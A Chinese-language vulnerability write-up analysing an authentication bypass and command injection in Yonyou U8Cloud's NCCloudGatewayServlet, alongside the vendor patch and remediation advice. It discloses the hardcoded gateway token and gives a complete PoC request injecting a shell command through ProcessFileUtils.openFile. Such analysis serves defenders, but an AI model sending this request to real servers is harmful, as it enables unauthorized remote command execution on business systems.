用友U8Cloud < 20250924补丁版本 NCCloudGatewayServlet 命令执行漏洞
字数 2001 2025-10-01 14:05:44
用友U8Cloud NCCloudGatewayServlet 命令执行漏洞分析
漏洞概述
用友U8Cloud在20250924补丁版本之前的NCCloudGatewayServlet组件存在身份验证绕过漏洞,攻击者可通过硬编码的认证令牌绕过身份验证机制,进而通过构造特定请求实现远程命令执行。
漏洞分析
补丁信息
- 补丁标识符:9695976d67dd4786badf91df6cb6578c
- 补丁发布地址:https://security.yonyou.com/#/patchInfo?identifier=9695976d67dd4786badf91df6cb6578c
涉及修改文件
com.yonyou.nccloud.gateway.adaptor.servlet.ServletForGWcom.yonyou.nccloud.gateway.adapter.GateWayUtil
新增文件
com.yonyou.nccloud.gateway.adapter.util.GWWhiteCtrlUtil
漏洞机制深度分析
1. 原始认证机制(存在漏洞)
认证流程
原始认证位于 com.yonyou.nccloud.gateway.adapter.GateWayUtil#checkGateWayToken 方法中:
public static boolean checkGateWayToken(HttpServletRequest request) {
String token = request.getHeader("gatewaytoken");
// 从配置文件获取硬编码令牌
String configToken = getPropertyValue("nccloud.gateway.nctoken");
// 使用RSA解密硬编码令牌
String decodedToken = Encode.decode("goimfdnalmcffdjciilkpokdaogklcdofkipilehgahfkgnpknbngcjfaeeomalj");
return decodedToken.equals(token);
}
硬编码令牌信息
- 加密令牌:goimfdnalmcffdjciilkpokdaogklcdofkipilehgahfkgnpknbngcjfaeeomalj
- 解密后令牌:TJ6RT-3FVCB-DPYP8-XF7QM-96FV3
- HTTP头部字段:gatewaytoken: TJ6RT-3FVCB-DPYP8-XF7QM-96FV3
2. 修复后认证机制
新认证流程
位于 com.yonyou.nccloud.gateway.adapter.GateWayUtil#checkGateWayTokenNew:
public static boolean checkGateWayTokenNew(HttpServletRequest request) {
String ts = request.getHeader("ts"); // 时间戳
String sign = request.getHeader("sign"); // 签名
// 验证时间戳和签名非空
if (StringUtils.isEmpty(ts) || StringUtils.isEmpty(sign)) {
return false;
}
// 验证时间戳有效性(与服务器时间相差不超过3分钟)
if (!validateTimestamp(ts)) {
return false;
}
// 使用HMAC对时间戳进行签名验证
String calculatedSign = HMAC.sign(ts, hardcodedToken);
return calculatedSign.equals(sign);
}
3. 安全防护机制
黑名单安全权限检查
新增的 GWWhiteCtrlUtil 类实现了黑名单检查机制:
public class GWWhiteCtrlUtil {
public static boolean checkAuthority(String serviceClassName) {
// 阻止特定危险服务的调用
if ("com.ufida.zior.console.IActionInvokeService".equals(serviceClassName)) {
return false;
}
// 阻止危险工具类的调用
if ("nc.bs.pub.util.ProcessFileUtils".equals(serviceClassName)) {
return false;
}
return true;
}
}
攻击链路分析
1. 请求处理流程
Servlet映射配置
在 webapps\u8c_web\WEB-INF\web.xml 中的配置:
<servlet>
<servlet-name>NCInvokerServlet</servlet-name>
<servlet-class>nc.bs.framework.server.InvokerServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>NCInvokerServlet</servlet-name>
<url-pattern>/servlet/*</url-pattern>
</servlet-mapping>
请求路由过程
- POST请求发送至
/servlet/NCCloudGatewayServlet InvokerServlet获取 pathInfo =/NCCloudGatewayServlet- 由于不以
/~开头,moduleName = null - serviceName = "NCCloudGatewayServlet"
- 获取服务对象
ServletForGW(实现IHttpServletAdaptor接口) - 最终调用
ServletForGW#doAction方法
2. 漏洞利用点
反射调用机制
在 ServletForGW#doAction 方法中:
public void doAction(HttpServletRequest request, HttpServletResponse response) {
if (checkGateWayToken(request)) {
// 获取JSON格式的输入数据
JsonObject jsonData = parseRequestToJson(request);
// 提取服务调用参数
String serviceClassName = jsonData.getString("serviceClassName");
String serviceMethodName = jsonData.getString("serviceMethodName");
Object[] methodArgs = jsonData.getArray("serviceMethodArgInfo");
// 反射调用目标方法
Object result = MethodUtils.invokeMethod(serviceObj, serviceMethodName, methodArgs);
// 返回执行结果
writeResponse(response, result);
}
}
3. 完整攻击调用链
- 身份验证绕过:使用硬编码令牌
TJ6RT-3FVCB-DPYP8-XF7QM-96FV3绕过认证 - 服务定位:指定
serviceClassName为"com.ufida.zior.console.IActionInvokeService" - 服务调用:通过
NCLocator.lookup()定位服务并反射调用其exec方法 - 类加载:
ActionExecutor.exec()动态加载ProcessFileUtils类 - 方法调用:反射调用
openFile方法 - 命令注入:在文件路径参数中注入命令分隔符和恶意命令
- 命令执行:
Runtime.exec()执行系统命令
漏洞利用PoC
恶意请求构造
POST /servlet/NCCloudGatewayServlet HTTP/1.1
Host: target-server:port
gatewaytoken: TJ6RT-3FVCB-DPYP8-XF7QM-96FV3
Content-Type: application/json
{
"serviceClassName": "com.ufida.zior.console.IActionInvokeService",
"serviceMethodName": "exec",
"serviceMethodArgInfo": [
"nc.bs.pub.util.ProcessFileUtils",
"openFile",
["test.txt|calc;"]
]
}
命令执行效果
- 执行系统命令弹出计算器(Windows)
- 可替换
calc为其他系统命令实现任意命令执行
修复建议
立即措施
- 应用官方发布的最新补丁
- 检查系统日志中是否存在相关攻击尝试
- 监控异常网络流量和系统进程
长期防护
- 定期更新系统补丁
- 实施网络访问控制,限制不必要的服务暴露
- 加强系统日志监控和审计
- 使用Web应用防火墙(WAF)防护类似攻击
影响版本
- 用友U8Cloud 20250924补丁版本之前的所有版本
参考资源
- 用友官方安全公告:https://security.yonyou.com/
- 漏洞补丁地址:https://security.yonyou.com/#/patchInfo?identifier=9695976d67dd4786badf91df6cb6578c
本文档仅用于安全研究和教育目的,请勿用于非法用途。任何未经授权的系统测试都必须获得相关方面的明确许可。